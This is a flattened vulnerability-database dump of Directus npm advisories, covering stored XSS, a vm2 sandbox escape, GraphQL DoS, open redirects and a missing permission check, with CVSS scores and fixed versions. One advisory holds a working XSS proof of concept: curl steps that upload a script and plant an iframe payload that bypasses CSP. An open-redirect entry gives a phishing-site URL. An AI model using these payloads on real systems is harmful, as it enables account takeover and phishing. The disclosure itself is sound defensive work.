vulnerability VCID-rq5y-ee4h-gkff
9
vulnerability VCID-trbn-m8sj-ffa4
10
vulnerability VCID-wcaq-4zzz-qfb7
11
vulnerability VCID-ycj2-8tqq-jyag
12
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.13.0
aliases CVE-2025-64748, GHSA-8jpw-gpr4-8cmh
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-88w3-rw8u-rqea
16
url VCID-a75s-xyu6-wbcw
vulnerability_id VCID-a75s-xyu6-wbcw
summary
Directus has a DOM-Based cross-site scripting (XSS) via layout_options
### Impact
Directus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.

### PoC
To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.

1. Upload the following JavaScript file.

Using the upload functionality at `POST /files`. This PoC will show an alert message.

```js
export TARGET_HOST="http://localhost:8055"
export ATTACKER_EMAIL="malicious@malicious.com"
export ATTACKER_PASSWORD="123456"
root_dir=$(dirname $0)
mkdir "${root_dir}/static"

curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
    -c "${root_dir}/static/attacker_directus_session_token" \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"

id_url_file=$(echo "alert('Successful DOM-based XSS')" |
  curl -s -k -X 'POST' "${TARGET_HOST}/files" \
    -b "${root_dir}/static/attacker_directus_session_token" \
    -F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")
```

2. Create a preset for a collection and store the preset ID.

Or use a preset already created from GET /presets. The following example uses the direct_users preset.

```
attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \ -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id") curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \ -H 'Content-Type: application/json' \ -b "${root_dir}/static/attacker_directus_session_token" \ --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"
```

When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.

Notes:

Need to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `<iframe srcdoc=\"<script src='URL_MALICIOUS_FILE'> </script>\">`.

We can target any collection that uses the vulnerable template structure that renders the layout option section.

In this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.
references
0
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 3.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
1
reference_url https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw
reference_id
reference_type
scores
0
value 3.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw
2
reference_url https://github.com/advisories/GHSA-9qrm-48qf-r2rw
reference_id GHSA-9qrm-48qf-r2rw
reference_type
scores
url https://github.com/advisories/GHSA-9qrm-48qf-r2rw
fixed_packages
0
url pkg:npm/directus@11.3.3
purl pkg:npm/directus@11.3.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4x1w-8bx4-rqf9
5
vulnerability VCID-662k-n18g-mybg
6
vulnerability VCID-6ggp-xn4c-gya3
7
vulnerability VCID-6mr6-u3vk-sygm
8
vulnerability VCID-88w3-rw8u-rqea
9
vulnerability VCID-a9tr-a8r5-57en
10
vulnerability VCID-bwww-3wep-2ydf
11
vulnerability VCID-dy98-51bk-p3fk
12
vulnerability VCID-exwx-sqry-c3gc
13
vulnerability VCID-gnzq-q9g9-m3a4
14
vulnerability VCID-hv63-3zhy-dyae
15
vulnerability VCID-j711-a6gm-b7hr
16
vulnerability VCID-kugb-dwxd-6fhe
17
vulnerability VCID-mk5k-pf2s-mfe9
18
vulnerability VCID-n7g1-hmy7-j7g9
19
vulnerability VCID-n9br-39bb-7ugt
20
vulnerability VCID-rq5y-ee4h-gkff
21
vulnerability VCID-trbn-m8sj-ffa4
22
vulnerability VCID-uft7-5e9d-dqh8
23
vulnerability VCID-vt3b-2dr3-aka2
24
vulnerability VCID-wcaq-4zzz-qfb7
25
vulnerability VCID-ycj2-8tqq-jyag
26
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.3.3
aliases GHSA-9qrm-48qf-r2rw
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-a75s-xyu6-wbcw
17
url VCID-bjb3-z2we-rqab
vulnerability_id VCID-bjb3-z2we-rqab
summary
Directus affected by VM2 sandbox escape vulnerability
### Impact
In vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed, allowing attackers to escape the sandbox and run arbitrary code. Within Directus this applies to the "Run Script" operation in flows being able to escape the sandbox running code in the main nodejs context.

### Patches
Patched in v10.6.0 by replacing `vm2` with `isolated-vm`

### Workarounds
None

### References
https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5
references
0
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
1
reference_url https://github.com/directus/directus/commit/284156426fa94f688e8d65a7a4f34f9e6705f058
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/commit/284156426fa94f688e8d65a7a4f34f9e6705f058
2
reference_url https://github.com/directus/directus/pull/19332
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/pull/19332
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-22rr-f3p8-5gf8
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus/security/advisories/GHSA-22rr-f3p8-5gf8
4
reference_url https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5
reference_id
reference_type
scores
0
value 7.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5
5
reference_url https://github.com/advisories/GHSA-22rr-f3p8-5gf8
reference_id GHSA-22rr-f3p8-5gf8
reference_type
scores
url https://github.com/advisories/GHSA-22rr-f3p8-5gf8
fixed_packages
0
url pkg:npm/directus@10.6.0
purl pkg:npm/directus@10.6.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4uk6-xe3f-h3h9
8
vulnerability VCID-4v6n-unvz-wff3
9
vulnerability VCID-4x1w-8bx4-rqf9
10
vulnerability VCID-547q-d837-dfcz
11
vulnerability VCID-662k-n18g-mybg
12
vulnerability VCID-6ggp-xn4c-gya3
13
vulnerability VCID-6mr6-u3vk-sygm
14
vulnerability VCID-7w4r-sr7k-77g1
15
vulnerability VCID-86mv-hjzg-6fbx
16
vulnerability VCID-88w3-rw8u-rqea
17
vulnerability VCID-95tn-g8wd-63hq
18
vulnerability VCID-a75s-xyu6-wbcw
19
vulnerability VCID-a9tr-a8r5-57en
20
vulnerability VCID-bwww-3wep-2ydf
21
vulnerability VCID-djhf-pqnt-6qcp
22
vulnerability VCID-dy98-51bk-p3fk
23
vulnerability VCID-exwx-sqry-c3gc
24
vulnerability VCID-hv63-3zhy-dyae
25
vulnerability VCID-j711-a6gm-b7hr
26
vulnerability VCID-km7s-b9cy-57c3
27
vulnerability VCID-mk5k-pf2s-mfe9
28
vulnerability VCID-n7g1-hmy7-j7g9
29
vulnerability VCID-n9br-39bb-7ugt
30
vulnerability VCID-rq5y-ee4h-gkff
31
vulnerability VCID-szpk-4g6r-f3e6
32
vulnerability VCID-trbn-m8sj-ffa4
33
vulnerability VCID-u5pc-6e92-zyev
34
vulnerability VCID-uft7-5e9d-dqh8
35
vulnerability VCID-vt3b-2dr3-aka2
36
vulnerability VCID-wcaq-4zzz-qfb7
37
vulnerability VCID-ycj2-8tqq-jyag
38
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.6.0
aliases GHSA-22rr-f3p8-5gf8, GMS-2023-2358
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-bjb3-z2we-rqab
18
url VCID-bwww-3wep-2ydf
vulnerability_id VCID-bwww-3wep-2ydf
summary
Directus: GraphQL Alias Amplification Denial of Service Due to Missing Query Cost/Complexity Limits
### Summary

Directus' GraphQL endpoints (`/graphql` and `/graphql/system`) did not deduplicate resolver invocations within a single request. An authenticated user could exploit GraphQL aliasing to repeat an expensive relational query many times in a single request, forcing the server to execute a large number of independent complex database queries concurrently, multiplying database load linearly with the number of aliases. The existing token limit on GraphQL queries still permitted enough aliases for significant resource exhaustion, while the relational depth limit applied per alias without reducing the total number executed. Rate limiting is disabled by default, meaning no built-in throttle prevented this from causing CPU, memory, and I/O exhaustion that could degrade or crash the service. Any authenticated user, including those with minimal read-only permissions, could trigger this condition.

### Fix

A request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases a query contains.

### Impact

- **Service degradation or outage:** Concurrent complex database queries exhaust the connection pool and server resources, affecting all users
- **Low privilege required:** Any authenticated user, including those with read-only access to a single collection, can trigger this condition
- **Linear scaling:** Impact scales with the number of aliases and depth of relational queries
- **Compounded by concurrency:** Multiple simultaneous requests multiply the effect further
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35441
reference_id
reference_type
scores
0
value 0.00015
scoring_system epss
scoring_elements 0.03115
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35441
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-ph52-67fq-75wj
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-07T14:47:06Z/
url https://github.com/directus/directus/security/advisories/GHSA-ph52-67fq-75wj
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35441
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35441
4
reference_url https://github.com/advisories/GHSA-ph52-67fq-75wj
reference_id GHSA-ph52-67fq-75wj
reference_type
scores
url https://github.com/advisories/GHSA-ph52-67fq-75wj
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-35441, GHSA-ph52-67fq-75wj
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-bwww-3wep-2ydf
19
url VCID-djhf-pqnt-6qcp
vulnerability_id VCID-djhf-pqnt-6qcp
summary
URL Redirection to Untrusted Site in OAuth2/OpenID in directus
### Summary
The authentication API has a `redirect` parameter that can be exploited as an open redirect vulnerability as the user tries to log in via the API URL https://docs.directus.io/reference/authentication.html#login-using-sso-providers /auth/login/google?redirect for example.

### Details
There's a redirect that is done after successful login via the Auth API GET request to `directus/auth/login/google?redirect=http://malicious-fishing-site.com`, which I think is here: https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L394. While credentials don't seem to be passed to the attacker site, the user can be phished into clicking a legitimate directus site and be taken to a malicious site made to look like a an error message "Your password needs to be updated" to phish out the current password.

### PoC
Turn on any auth provider in Directus instance. Form a link to `directus-instance/auth/login/:provider_id?redirect=http://malicious-fishing-site.com`, login and get taken to malicious-site. Tested on the `ory` OAuth2 integration.

### Impact
Users who login via OAuth2 into Directus.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2024-28239
reference_id
reference_type
scores
0
value 0.0023
scoring_system epss
scoring_elements 0.45784
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2024-28239
1
reference_url https://docs.directus.io/reference/authentication.html#login-using-sso-providers
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-03-13T16:10:42Z/
url https://docs.directus.io/reference/authentication.html#login-using-sso-providers
2
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
3
reference_url https://github.com/directus/directus/commit/5477d7d61babd7ffc2f835d399bf79611b15b203
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-03-13T16:10:42Z/
url https://github.com/directus/directus/commit/5477d7d61babd7ffc2f835d399bf79611b15b203
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-fr3w-2p22-6w7p
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-03-13T16:10:42Z/
url https://github.com/directus/directus/security/advisories/GHSA-fr3w-2p22-6w7p
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2024-28239
reference_id
reference_type
scores
0
value 5.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2024-28239
6
reference_url https://github.com/advisories/GHSA-fr3w-2p22-6w7p
reference_id GHSA-fr3w-2p22-6w7p
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fr3w-2p22-6w7p
fixed_packages
0
url pkg:npm/directus@10.10.0
purl pkg:npm/directus@10.10.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-88w3-rw8u-rqea
14
vulnerability VCID-95tn-g8wd-63hq
15
vulnerability VCID-a75s-xyu6-wbcw
16
vulnerability VCID-a9tr-a8r5-57en
17
vulnerability VCID-bwww-3wep-2ydf
18
vulnerability VCID-dy98-51bk-p3fk
19
vulnerability VCID-exwx-sqry-c3gc
20
vulnerability VCID-gnzq-q9g9-m3a4
21
vulnerability VCID-hv63-3zhy-dyae
22
vulnerability VCID-j711-a6gm-b7hr
23
vulnerability VCID-jx6x-mxnq-4qe2
24
vulnerability VCID-kugb-dwxd-6fhe
25
vulnerability VCID-mk5k-pf2s-mfe9
26
vulnerability VCID-n7g1-hmy7-j7g9
27
vulnerability VCID-n9br-39bb-7ugt
28
vulnerability VCID-rq5y-ee4h-gkff
29
vulnerability VCID-szpk-4g6r-f3e6
30
vulnerability VCID-trbn-m8sj-ffa4
31
vulnerability VCID-u5pc-6e92-zyev
32
vulnerability VCID-uft7-5e9d-dqh8
33
vulnerability VCID-vt3b-2dr3-aka2
34
vulnerability VCID-wcaq-4zzz-qfb7
35
vulnerability VCID-wx6m-6dac-xqaj
36
vulnerability VCID-ycj2-8tqq-jyag
37
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@10.10.0
aliases CVE-2024-28239, GHSA-fr3w-2p22-6w7p
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-djhf-pqnt-6qcp
20
url VCID-dsta-c12f-fuff
vulnerability_id VCID-dsta-c12f-fuff
summary
Directus vulnerable to unhandled exception on illegal filename_disk value
The Directus process can be aborted by having an authorized user update the `filename_disk` value to a folder and accessing that file through the `/assets` endpoint. 

The vulnerability is patched and released in v9.15.0.

You can prevent this problem by making sure no (untrusted) non-admin users have permissions to update the `filename_disk` field on `directus_files`.

### For more information

If you have any questions or comments about this advisory:
* Open a Discussion in [directus/directus](https://github.com/directus/directus/discussions)
* Email us at [security@directus.io](mailto:security@directus.io)

### Credits

This vulnerability was first discovered and reported by Witold Gorecki.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2022-36031
reference_id
reference_type
scores
0
value 0.0026
scoring_system epss
scoring_elements 0.49492
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2022-36031
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-77qm-wvqq-fg79
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-04-22T15:45:00Z/
url https://github.com/directus/directus/security/advisories/GHSA-77qm-wvqq-fg79
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2022-36031
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2022-36031
4
reference_url https://github.com/advisories/GHSA-77qm-wvqq-fg79
reference_id GHSA-77qm-wvqq-fg79
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-77qm-wvqq-fg79
fixed_packages
0
url pkg:npm/directus@9.15.0
purl pkg:npm/directus@9.15.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4uk6-xe3f-h3h9
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-6z4j-ev48-67hq
14
vulnerability VCID-7w4r-sr7k-77g1
15
vulnerability VCID-88w3-rw8u-rqea
16
vulnerability VCID-95tn-g8wd-63hq
17
vulnerability VCID-a75s-xyu6-wbcw
18
vulnerability VCID-a9tr-a8r5-57en
19
vulnerability VCID-bjb3-z2we-rqab
20
vulnerability VCID-bwww-3wep-2ydf
21
vulnerability VCID-djhf-pqnt-6qcp
22
vulnerability VCID-dy98-51bk-p3fk
23
vulnerability VCID-exwx-sqry-c3gc
24
vulnerability VCID-hv63-3zhy-dyae
25
vulnerability VCID-j711-a6gm-b7hr
26
vulnerability VCID-km7s-b9cy-57c3
27
vulnerability VCID-mk5k-pf2s-mfe9
28
vulnerability VCID-n7g1-hmy7-j7g9
29
vulnerability VCID-n9br-39bb-7ugt
30
vulnerability VCID-q63x-ba8r-tfc1
31
vulnerability VCID-rq5y-ee4h-gkff
32
vulnerability VCID-sxfr-pmr2-x7e7
33
vulnerability VCID-szpk-4g6r-f3e6
34
vulnerability VCID-trbn-m8sj-ffa4
35
vulnerability VCID-u5pc-6e92-zyev
36
vulnerability VCID-vt3b-2dr3-aka2
37
vulnerability VCID-vthx-5g35-zfcp
38
vulnerability VCID-wcaq-4zzz-qfb7
39
vulnerability VCID-ycj2-8tqq-jyag
40
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.15.0
aliases CVE-2022-36031, GHSA-77qm-wvqq-fg79
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dsta-c12f-fuff
21
url VCID-dy98-51bk-p3fk
vulnerability_id VCID-dy98-51bk-p3fk
summary
Directus' insufficient permission checks can enable unauthenticated users to manually trigger Flows
### Summary

Directus Flows with a manual trigger are not validating whether the user triggering the Flow has permissions to the items provided as payload to the Flow. Depending on what the Flow is set up to do this can lead to the Flow executing potential tasks on the attacker's behalf without authenticating.

### Impact

Bad actors could execute the manual trigger Flows without authentication, or access rights to the said collection(s) or item(s).

Users with manual trigger Flows configured are impacted as these endpoints do not currently validate if the user has read access to `directus_flows` or to the relevant collection/items. The manual trigger Flows should have tighter security requirements as compared to webhook Flows where users are expected to perform do their own checks.

### Workarounds
Users have to implement permission checks for read access to Flows and read access to relevant collection/items.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-53889
reference_id
reference_type
scores
0
value 0.00244
scoring_system epss
scoring_elements 0.47871
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-53889
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/22be460c76957708d67fdd52846a9ad1cbb083fb
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:29Z/
url https://github.com/directus/directus/commit/22be460c76957708d67fdd52846a9ad1cbb083fb
3
reference_url https://github.com/directus/directus/releases/tag/v11.9.0
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:29Z/
url https://github.com/directus/directus/releases/tag/v11.9.0
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-7cvf-pxgp-42fc
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:43:29Z/
url https://github.com/directus/directus/security/advisories/GHSA-7cvf-pxgp-42fc
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-53889
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-53889
6
reference_url https://github.com/advisories/GHSA-7cvf-pxgp-42fc
reference_id GHSA-7cvf-pxgp-42fc
reference_type
scores
url https://github.com/advisories/GHSA-7cvf-pxgp-42fc
fixed_packages
0
url pkg:npm/directus@11.9.0
purl pkg:npm/directus@11.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-4x1w-8bx4-rqf9
3
vulnerability VCID-6ggp-xn4c-gya3
4
vulnerability VCID-6mr6-u3vk-sygm
5
vulnerability VCID-88w3-rw8u-rqea
6
vulnerability VCID-bwww-3wep-2ydf
7
vulnerability VCID-exwx-sqry-c3gc
8
vulnerability VCID-hv63-3zhy-dyae
9
vulnerability VCID-kugb-dwxd-6fhe
10
vulnerability VCID-mk5k-pf2s-mfe9
11
vulnerability VCID-n9br-39bb-7ugt
12
vulnerability VCID-rq5y-ee4h-gkff
13
vulnerability VCID-trbn-m8sj-ffa4
14
vulnerability VCID-vt3b-2dr3-aka2
15
vulnerability VCID-wcaq-4zzz-qfb7
16
vulnerability VCID-ycj2-8tqq-jyag
17
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.9.0
aliases CVE-2025-53889, GHSA-7cvf-pxgp-42fc
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-dy98-51bk-p3fk
22
url VCID-exwx-sqry-c3gc
vulnerability_id VCID-exwx-sqry-c3gc
summary
Directus: Open Redirect via Parser Bypass in OAuth2/SAML Authentication Flow
### Summary

An open redirect vulnerability exists in the login redirection logic. The `isLoginRedirectAllowed` function fails to correctly identify certain malformed URLs as external, allowing attackers to bypass redirect allow-list validation and redirect users to arbitrary external domains upon successful authentication.

### Details

A parser differential exists between the server-side URL validation logic and how modern browsers interpret URL path segments containing backslashes. Specifically, certain URL patterns are incorrectly classified as safe relative paths by the server, but are normalized by browsers into external domain references.

